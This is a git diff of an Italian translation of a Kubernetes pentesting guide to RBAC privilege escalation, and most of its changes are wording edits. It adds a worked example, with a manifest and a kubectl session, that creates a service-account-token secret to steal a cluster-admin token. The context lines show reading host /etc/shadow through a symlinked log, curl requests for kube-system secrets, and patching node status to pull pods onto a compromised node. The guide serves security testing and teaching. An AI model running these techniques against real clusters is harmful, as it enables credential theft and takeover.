diff --git a/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md b/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md index 6d5abf82c..3c2088381 100644 --- a/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md +++ b/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md @@ -7,7 +7,7 @@ Ricorda che puoi ottenere tutte le risorse supportate con `kubectl api-resources ## **Privilege Escalation** -Riferendosi all'arte di ottenere **accesso a un diverso principale** all'interno del cluster **con privilegi diversi** (all'interno del cluster kubernetes o a cloud esterni) rispetto a quelli che già possiedi, in Kubernetes ci sono fondamentalmente **4 tecniche principali per escalare i privilegi**: +Si riferisce all'arte di ottenere **accesso a un diverso principale** all'interno del cluster **con privilegi diversi** (all'interno del cluster kubernetes o a cloud esterni) rispetto a quelli che già possiedi. In Kubernetes ci sono fondamentalmente **4 tecniche principali per escalare i privilegi**: - Essere in grado di **impersonare** altri utenti/gruppi/SAs con privilegi migliori all'interno del cluster kubernetes o a cloud esterni - Essere in grado di **creare/patchare/eseguire pod** dove puoi **trovare o allegare SAs** con privilegi migliori all'interno del cluster kubernetes o a cloud esterni @@ -33,9 +33,9 @@ verbs: ["*"] In RBAC, alcune autorizzazioni comportano rischi significativi: -1. **`create`:** Concede la possibilità di creare qualsiasi risorsa del cluster, rischiando un'escursione dei privilegi. -2. **`list`:** Consente di elencare tutte le risorse, potenzialmente rivelando dati sensibili. -3. **`get`:** Permette di accedere ai segreti degli account di servizio, costituendo una minaccia per la sicurezza. +1. **`create`:** Concede la possibilità di creare qualsiasi risorsa del cluster, rischiando un'escalation di privilegi. +2. **`list`:** Consente di elencare tutte le risorse, potenzialmente causando la fuga di dati sensibili. +3. **`get`:** Permette di accedere ai segreti degli account di servizio, rappresentando una minaccia per la sicurezza. ```yaml apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole @@ -49,7 +49,7 @@ verbs: ["create", "list", "get"] ``` ### Pod Create - Steal Token -Un attaccante con i permessi per creare un pod potrebbe allegare un Service Account privilegiato nel pod e rubare il token per impersonare il Service Account. Efficacemente elevando i privilegi. +Un attaccante con i permessi per creare un pod potrebbe allegare un Service Account privilegiato nel pod e rubare il token per impersonare il Service Account. In effetti, aumentando i privilegi. Esempio di un pod che ruberà il token del Service Account `bootstrap-signer` e lo invierà all'attaccante: ```yaml @@ -74,9 +74,9 @@ hostNetwork: true ``` ### Creazione e fuga del Pod -Quanto segue indica tutti i privilegi che un container può avere: +Il seguente indica tutti i privilegi che un container può avere: -- **Accesso privilegiato** (disabilitare le protezioni e impostare le capacità) +- **Accesso privilegiato** (disabilitando le protezioni e impostando le capacità) - **Disabilitare i namespace hostIPC e hostPid** che possono aiutare ad elevare i privilegi - **Disabilitare il namespace hostNetwork**, dando accesso per rubare i privilegi cloud dei nodi e un migliore accesso alle reti - **Montare gli host / all'interno del container** @@ -140,7 +140,7 @@ _Puoi trovare esempi di come creare/abuse le configurazioni dei pod privilegiati ### Pod Create - Move to cloud -Se puoi **creare** un **pod** (e opzionalmente un **service account**) potresti essere in grado di **ottenere privilegi nell'ambiente cloud** assegnando **ruoli cloud a un pod o a un service account** e poi accedendovi.\ +Se puoi **creare** un **pod** (e opzionalmente un **service account**) potresti essere in grado di **ottenere privilegi nell'ambiente cloud** assegnando **ruoli cloud a un pod o a un service account** e poi accedervi.\ Inoltre, se puoi creare un **pod con il namespace di rete host**, puoi **rubare il ruolo IAM** dell'istanza **node**. Per ulteriori informazioni controlla: @@ -149,7 +149,7 @@ Per ulteriori informazioni controlla: pod-escape-privileges.md {{#endref}} -### **Create/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs e Cronjobs** +### **Create/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs** È possibile abusare di questi permessi per **creare un nuovo pod** e stabilire privilegi come nell'esempio precedente. @@ -211,7 +211,7 @@ Il servizio Kubelet espone l'endpoint `/logs/` che è fondamentalmente **l'espos Pertanto, un attaccante con **accesso in scrittura nella cartella /var/log/** del container potrebbe abusare di questo comportamento in 2 modi: -- Modificando il file `0.log` del suo container (di solito situato in `/var/logs/pods/namespace_pod_uid/container/0.log`) per essere un **symlink che punta a `/etc/shadow`** per esempio. Poi, sarai in grado di esfiltrare il file shadow degli host facendo: +- Modificando il file `0.log` del proprio container (di solito situato in `/var/logs/pods/namespace_pod_uid/container/0.log`) per essere un **symlink che punta a `/etc/shadow`** per esempio. Poi, sarai in grado di esfiltrare il file shadow degli host facendo: ```bash kubectl logs escaper failed to get parse function: unsupported log format: "root::::::::\n" @@ -247,7 +247,7 @@ allowedHostPaths: - pathPrefix: "/foo" readOnly: true ``` -Che era destinato a prevenire le fughe come quelle precedenti, utilizzando, invece di un mount hostPath, un PersistentVolume e un PersistentVolumeClaim per montare una cartella dell'host nel contenitore con accesso in scrittura: +Che era destinato a prevenire le fughe come quelle precedenti, utilizzando invece di un mount hostPath, un PersistentVolume e un PersistentVolumeClaim per montare una cartella dell'host nel contenitore con accesso in scrittura: ```yaml apiVersion: v1 kind: PersistentVolume @@ -310,19 +310,82 @@ curl -k -v -XGET -H "Authorization: Bearer " \ -H "Accept: application/json" \ https://:/api/v1/namespaces/kube-system/secrets/ ``` -### Elencare i Segreti +### Elenco dei Segreti Il permesso di **elencare i segreti potrebbe consentire a un attaccante di leggere effettivamente i segreti** accedendo all'endpoint API REST: ```bash curl -v -H "Authorization: Bearer " https://:/api/v1/namespaces/kube-system/secrets/ ``` -### Lettura di un segreto – brute-forcing token IDs +### Creazione e Lettura dei Segreti + +Esiste un tipo speciale di segreto Kubernetes di tipo **kubernetes.io/service-account-token** che memorizza i token degli account di servizio. Se hai i permessi per creare e leggere segreti, e conosci anche il nome dell'account di servizio, puoi creare un segreto come segue e poi rubare il token dell'account di servizio della vittima da esso: +```yaml +apiVersion: v1 +kind: Secret +metadata: +name: stolen-admin-sa-token +namespace: default +annotations: +kubernetes.io/service-account.name: cluster-admin-sa +type: kubernetes.io/service-account-token +``` +Esempio di sfruttamento: +```bash +$ SECRETS_MANAGER_TOKEN=$(kubectl create token secrets-manager-sa) + +$ kubectl auth can-i --list --token=$SECRETS_MANAGER_TOKEN +Warning: the list may be incomplete: webhook authorizer does not support user rule resolution +Resources Non-Resource URLs Resource Names Verbs +selfsubjectreviews.authentication.k8s.io [] [] [create] +selfsubjectaccessreviews.authorization.k8s.io [] [] [create] +selfsubjectrulesreviews.authorization.k8s.io [] [] [create] +secrets [] [] [get create] +[/.well-known/openid-configuration/] [] [get] + +[/version] [] [get] + +$ kubectl create token cluster-admin-sa --token=$SECRETS_MANAGER_TOKEN +error: failed to create token: serviceaccounts "cluster-admin-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot create resource "serviceaccounts/token" in API group "" in the namespace "default" + +$ kubectl get pods --token=$SECRETS_MANAGER_TOKEN --as=system:serviceaccount:default:secrets-manager-sa +Error from server (Forbidden): serviceaccounts "secrets-manager-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot impersonate resource "serviceaccounts" in API group "" in the namespace "default" + +$ kubectl apply -f ./secret-that-steals-another-sa-token.yaml --token=$SECRETS_MANAGER_TOKEN +secret/stolen-admin-sa-token created + +$ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o json +{ +"apiVersion": "v1", +"data": { +"ca.crt": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FUUlRJRklDQVRFLS0tLS0K", +"namespace": "ZGVmYXVsdA==", +"token": "ZXlKaGJHY2lPaUpTVXpJMU5pSXNJbXRwWkjYkowNWlCYjViMEJUSE1NcUNIY0h4QTg2aXc=" +}, +"kind": "Secret", +"metadata": { +"annotations": { +"kubectl.kubernetes.io/last-applied-configuration": "{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\n", +"kubernetes.io/service-account.name": "cluster-admin-sa", +"kubernetes.io/service-account.uid": "faf97f14-1102-4cb9-9ee0-857a6695973f" +}, +"creationTimestamp": "2025-01-11T13:02:27Z", +"name": "stolen-admin-sa-token", +"namespace": "default", +"resourceVersion": "1019116", +"uid": "680d119f-89d0-4fc6-8eef-1396600d7556" +}, +"type": "kubernetes.io/service-account-token" +} +``` +Nota che se ti è permesso creare e leggere segreti in un certo namespace, il serviceaccount della vittima deve trovarsi nello stesso namespace. + +### Lettura di un segreto – forzatura dei token ID Mentre un attaccante in possesso di un token con permessi di lettura richiede il nome esatto del segreto per utilizzarlo, a differenza del privilegio più ampio di _**elencare i segreti**_, ci sono ancora vulnerabilità. Gli account di servizio predefiniti nel sistema possono essere enumerati, ciascuno associato a un segreto. Questi segreti hanno una struttura di nome: un prefisso statico seguito da un token alfanumerico casuale di cinque caratteri (escludendo alcuni caratteri) secondo il [codice sorgente](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83). -Il token è generato da un set limitato di 27 caratteri (`bcdfghjklmnpqrstvwxz2456789`), piuttosto che dall'intero intervallo alfanumerico. Questa limitazione riduce il numero totale di combinazioni possibili a 14.348.907 (27^5). Di conseguenza, un attaccante potrebbe ragionevolmente eseguire un attacco di brute-force per dedurre il token in poche ore, potenzialmente portando a un'escalation dei privilegi accedendo a account di servizio sensibili. +Il token è generato da un set limitato di 27 caratteri (`bcdfghjklmnpqrstvwxz2456789`), piuttosto che dall'intero intervallo alfanumerico. Questa limitazione riduce il numero totale di combinazioni possibili a 14.348.907 (27^5). Di conseguenza, un attaccante potrebbe eseguire un attacco di forza bruta per dedurre il token in poche ore, portando potenzialmente a un'escalation dei privilegi accedendo a account di servizio sensibili. -### Richieste di Firma di Certificati +### Richieste di Firma del Certificato Se hai i verbi **`create`** nella risorsa `certificatesigningrequests` (o almeno in `certificatesigningrequests/nodeClient`). Puoi **creare** un nuovo CeSR di un **nuovo nodo.** @@ -370,7 +433,7 @@ Il modo per bypassare questo è semplicemente **creare una credenziale del nodo ``` ### AWS EKS aws-auth configmaps -I principi che possono modificare **`configmaps`** nello spazio dei nomi kube-system su cluster EKS (devono essere in AWS) possono ottenere privilegi di amministratore del cluster sovrascrivendo il **aws-auth** configmap.\ +I principi che possono modificare **`configmaps`** nello spazio dei nomi kube-system sui cluster EKS (devono essere in AWS) possono ottenere privilegi di amministratore del cluster sovrascrivendo il **configmap** **aws-auth**.\ I verbi necessari sono **`update`** e **`patch`**, o **`create`** se il configmap non è stato creato: ```bash # Check if config map exists @@ -411,17 +474,17 @@ groups: - system:masters ``` > [!WARNING] -> Puoi usare **`aws-auth`** per **persistenza** dando accesso agli utenti di **altri account**. +> Puoi usare **`aws-auth`** per **persistenza** dando accesso a utenti di **altri account**. > > Tuttavia, `aws --profile other_account eks update-kubeconfig --name ` **non funziona da un account diverso**. Ma in realtà `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` funziona se metti l'ARN del cluster invece del solo nome.\ > Per far funzionare `kubectl`, assicurati di **configurare** il **kubeconfig della vittima** e negli argomenti di esecuzione di aws aggiungi `--profile other_account_role` in modo che kubectl utilizzi il profilo dell'altro account per ottenere il token e contattare AWS. -### Escalation in GKE +### Escalating in GKE Ci sono **2 modi per assegnare permessi K8s ai principi GCP**. In ogni caso, il principio ha anche bisogno del permesso **`container.clusters.get`** per poter raccogliere le credenziali per accedere al cluster, oppure dovrai **generare il tuo file di configurazione kubectl** (segui il link successivo). > [!WARNING] -> Quando si parla con l'endpoint API K8s, il **token di autenticazione GCP verrà inviato**. Poi, GCP, attraverso l'endpoint API K8s, verificherà prima **se il principio** (per email) **ha accesso all'interno del cluster**, poi verificherà se ha **accesso tramite GCP IAM**.\ +> Quando si parla con l'endpoint API K8s, il **token di autenticazione GCP verrà inviato**. Poi, GCP, attraverso l'endpoint API K8s, controllerà prima **se il principio** (per email) **ha accesso all'interno del cluster**, poi controllerà se ha **accesso tramite GCP IAM**.\ > Se **qualcuno** di questi è **vero**, riceverà una **risposta**. Se **no**, verrà fornito un **errore** che suggerisce di dare **permessi tramite GCP IAM**. Quindi, il primo metodo è utilizzare **GCP IAM**, i permessi K8s hanno i loro **permessi equivalenti GCP IAM**, e se il principio li ha, potrà usarli. @@ -432,9 +495,9 @@ Quindi, il primo metodo è utilizzare **GCP IAM**, i permessi K8s hanno i loro * Il secondo metodo è **assegnare permessi K8s all'interno del cluster** identificando l'utente tramite la sua **email** (inclusi gli account di servizio GCP). -### Creare token serviceaccounts +### Create serviceaccounts token -Principi che possono **creare TokenRequests** (`serviceaccounts/token`) quando si parla con l'endpoint API K8s SAs (info da [**qui**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)). +Principi che possono **creare TokenRequests** (`serviceaccounts/token`) quando parlano con l'endpoint API K8s SAs (info da [**qui**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)). ### ephemeralcontainers @@ -444,11 +507,11 @@ Principi che possono **`update`** o **`patch`** **`pods/ephemeralcontainers`** p Principi con uno dei verbi `create`, `update` o `patch` su `validatingwebhookconfigurations` o `mutatingwebhookconfigurations` potrebbero essere in grado di **creare una di queste webhookconfigurations** per poter **escalare i privilegi**. -Per un [`mutatingwebhookconfigurations` esempio controlla questa sezione di questo post](./#malicious-admission-controller). +Per un [`mutatingwebhookconfigurations` esempio controlla questa sezione di questo post](#malicious-admission-controller). ### Escalate -Come puoi leggere nella sezione successiva: [**Prevenzione dell'escalation dei privilegi integrata**](./#built-in-privileged-escalation-prevention), un principio non può aggiornare né creare ruoli o clusterroles senza avere lui stesso quei nuovi permessi. A meno che non abbia il **verbo `escalate`** su **`roles`** o **`clusterroles`**.\ +Come puoi leggere nella sezione successiva: [**Built-in Privileged Escalation Prevention**](#built-in-privileged-escalation-prevention), un principio non può aggiornare né creare ruoli o clusterroles senza avere lui stesso quei nuovi permessi. Tranne se ha il **verbo `escalate`** su **`roles`** o **`clusterroles`**.\ Allora può aggiornare/creare nuovi ruoli, clusterroles con permessi migliori di quelli che ha. ### Nodes proxy @@ -459,11 +522,11 @@ Principi con accesso alla **`nodes/proxy`** subrisorsa possono **eseguire codice ../pentesting-kubernetes-services/kubelet-authentication-and-authorization.md {{#endref}} -Hai un esempio di come ottenere [**RCE parlando autorizzato a un'API Kubelet qui**](../pentesting-kubernetes-services/#kubelet-rce). +Hai un esempio di come ottenere [**RCE parlando autorizzato a un'API Kubelet qui**](../pentesting-kubernetes-services/index.html#kubelet-rce). -### Eliminare pod + nodi non pianificabili +### Delete pods + unschedulable nodes -Principi che possono **eliminare pod** (`delete` verbo su `pods` risorsa), o **evictare pod** (`create` verbo su `pods/eviction` risorsa), o **cambiare lo stato del pod** (accesso a `pods/status`) e possono **rendere altri nodi non pianificabili** (accesso a `nodes/status`) o **eliminare nodi** (`delete` verbo su `nodes` risorsa) e hanno il controllo su un pod, potrebbero **rubare pod da altri nodi** in modo che siano **eseguiti** nel **nodo compromesso** e l'attaccante può **rubare i token** da quei pod. +Principi che possono **eliminare pod** (`delete` verbo su `pods` risorsa), o **espellere pod** (`create` verbo su `pods/eviction` risorsa), o **cambiare lo stato del pod** (accesso a `pods/status`) e possono **rendere altri nodi non programmabili** (accesso a `nodes/status`) o **eliminare nodi** (`delete` verbo su `nodes` risorsa) e hanno controllo su un pod, potrebbero **rubare pod da altri nodi** in modo che siano **eseguiti** nel **nodo compromesso** e l'attaccante può **rubare i token** da quei pod. ```bash patch_node_capacity(){ curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]' @@ -488,7 +551,7 @@ Kubernetes ha un [meccanismo integrato](https://kubernetes.io/docs/reference/acc Questo sistema garantisce che **gli utenti non possano elevare i propri privilegi modificando ruoli o binding di ruolo**. L'applicazione di questa regola avviene a livello API, fornendo una protezione anche quando l'autorizzatore RBAC è inattivo. -La regola stabilisce che un **utente può creare o aggiornare un ruolo solo se possiede tutti i permessi che il ruolo comprende**. Inoltre, l'ambito dei permessi esistenti dell'utente deve allinearsi a quello del ruolo che stanno tentando di creare o modificare: sia a livello cluster-wide per i ClusterRoles o confinato allo stesso namespace (o cluster-wide) per i Roles. +La regola stabilisce che un **utente può creare o aggiornare un ruolo solo se possiede tutti i permessi che il ruolo comprende**. Inoltre, l'ambito dei permessi esistenti dell'utente deve allinearsi con quello del ruolo che stanno tentando di creare o modificare: sia a livello cluster-wide per i ClusterRoles o confinato allo stesso namespace (o cluster-wide) per i Roles. > [!WARNING] > C'è un'eccezione a questa regola precedente. Se un principio ha il **verbo `escalate`** su **`roles`** o **`clusterroles`**, può aumentare i privilegi di ruoli e clusterroles anche senza avere i permessi lui stesso. @@ -496,7 +559,7 @@ La regola stabilisce che un **utente può creare o aggiornare un ruolo solo se p ### **Ottieni & Patch RoleBindings/ClusterRoleBindings** > [!CAUTION] -> **Apparentemente questa tecnica funzionava prima, ma secondo i miei test non funziona più per lo stesso motivo spiegato nella sezione precedente. Non puoi creare/modificare un rolebinding per darti o dare a un diverso SA alcuni privilegi se non li hai già.** +> **Apparentemente questa tecnica funzionava prima, ma secondo i miei test non funziona più per lo stesso motivo spiegato nella sezione precedente. Non puoi creare/modificare un rolebinding per darti o dare a un altro SA alcuni privilegi se non li hai già.** Il privilegio di creare Rolebindings consente a un utente di **associare ruoli a un account di servizio**. Questo privilegio può potenzialmente portare a un'escalation dei privilegi perché **consente all'utente di associare privilegi di amministratore a un account di servizio compromesso.** @@ -504,9 +567,9 @@ Il privilegio di creare Rolebindings consente a un utente di **associare ruoli a ### App proxy Sidecar -Per impostazione predefinita non c'è alcuna crittografia nella comunicazione tra i pod. Autenticazione reciproca, bidirezionale, pod a pod. +Per impostazione predefinita non c'è alcuna crittografia nella comunicazione tra i pod. Autenticazione reciproca, bidirezionale, da pod a pod. -#### Crea un'app proxy sidecar +#### Crea un'app proxy Sidecar Crea il tuo .yaml ```bash @@ -548,7 +611,7 @@ Vedi i log del proxy: ```bash kubectl logs app -C proxy ``` -Maggiori informazioni su: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/) +More info at: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/) ### Malicious Admission Controller @@ -609,9 +672,9 @@ Il frammento sopra sostituisce la prima immagine del container in ogni pod con ` - **Pods e Account di Servizio**: Per impostazione predefinita, i pod montano un token di account di servizio. Per migliorare la sicurezza, Kubernetes consente di disabilitare questa funzionalità di automount. - **Come Applicare**: Imposta `automountServiceAccountToken: false` nella configurazione degli account di servizio o dei pod a partire dalla versione 1.6 di Kubernetes. -### **Assegnazione Ristretta degli Utenti in RoleBindings/ClusterRoleBindings** +### **Assegnazione Utente Ristretto in RoleBindings/ClusterRoleBindings** -- **Inclusione Selettiva**: Assicurati che solo gli utenti necessari siano inclusi in RoleBindings o ClusterRoleBindings. Esegui audit regolari e rimuovi gli utenti irrilevanti per mantenere una sicurezza rigorosa. +- **Inclusione Selettiva**: Assicurati che solo gli utenti necessari siano inclusi in RoleBindings o ClusterRoleBindings. Esegui audit regolari e rimuovi utenti irrilevanti per mantenere una sicurezza rigorosa. ### **Ruoli Specifici per Namespace rispetto ai Ruoli Cluster-Wide**